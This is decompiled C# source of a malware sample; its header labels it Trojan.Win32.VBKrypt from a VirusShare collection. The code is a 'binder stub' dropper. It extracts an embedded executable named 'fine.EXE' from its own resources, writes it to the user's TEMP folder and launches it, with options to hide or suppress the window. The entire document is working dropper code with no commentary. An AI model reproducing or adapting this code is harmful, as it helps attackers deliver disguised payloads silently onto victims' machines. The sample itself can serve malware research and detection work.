// Decompiled with JetBrains decompiler
// Type: Fjux_binder_Stub.Program
// Assembly: binded, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null
// MVID: 73C18AD1-E29F-442A-AB5C-5F073769259A
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan.Win32.VBKrypt.djyr-cc90d1f8e551bc00fc25c943b2805c06aad316937a690ba0e1d97de068662547.exe

using System;
using System.Collections.Generic;
using System.Diagnostics;
using System.IO;
using System.Reflection;

namespace Fjux_binder_Stub
{
  internal class Program
  {
    private static List<Process> Procs = new List<Process>();

    private static void Main(string[] args)
    {
      Console.ReadLine();
      Program program = new Program();
      foreach (Proccesinfo fileInfo in program.CreateFileInfos())
      {
        program.WriteFile(fileInfo);
        program.RunFile(fileInfo);
      }
      foreach (Process proc in Program.Procs)
        proc.WaitForExit();
    }

    private List<Proccesinfo> CreateFileInfos()
    {
      List<Proccesinfo> fileInfos = new List<Proccesinfo>();
      Stream manifestResourceStream = Assembly.GetExecutingAssembly().GetManifestResourceStream("fine.EXE");
      byte[] numArray = new byte[manifestResourceStream.Length];
      manifestResourceStream.Read(numArray, 0, numArray.Length);
      manifestResourceStream.Close();
      fileInfos.Add(new Proccesinfo(numArray, "fine.EXE", false, false, false));
      return fileInfos;
    }

    private void WriteFile(Proccesinfo fileInfo)
    {
      FileStream fileStream = new FileStream(Environment.GetEnvironmentVariable("TEMP") + "\\" + fileInfo.FileName, FileMode.Create);
      fileStream.Write(fileInfo.FileBytes, 0, fileInfo.FileBytes.Length);
      fileStream.Close();
      fileStream.Dispose();
    }

    private void RunFile(Proccesinfo fileInfo)
    {
      ProcessStartInfo processStartInfo = new ProcessStartInfo();
      if (fileInfo.NoWindow)
        processStartInfo.CreateNoWindow = true;
      if (fileInfo.Hidden)
        processStartInfo.WindowStyle = ProcessWindowStyle.Hidden;
      processStartInfo.FileName = Environment.GetEnvironmentVariable("TEMP") + "\\" + fileInfo.FileName;
      Process process = new Process();
      process.StartInfo = processStartInfo;
      process.Start();
      Program.Procs.Add(process);
      if (!fileInfo.WaitFor)
        return;
      process.WaitForExit();
    }
  }
}
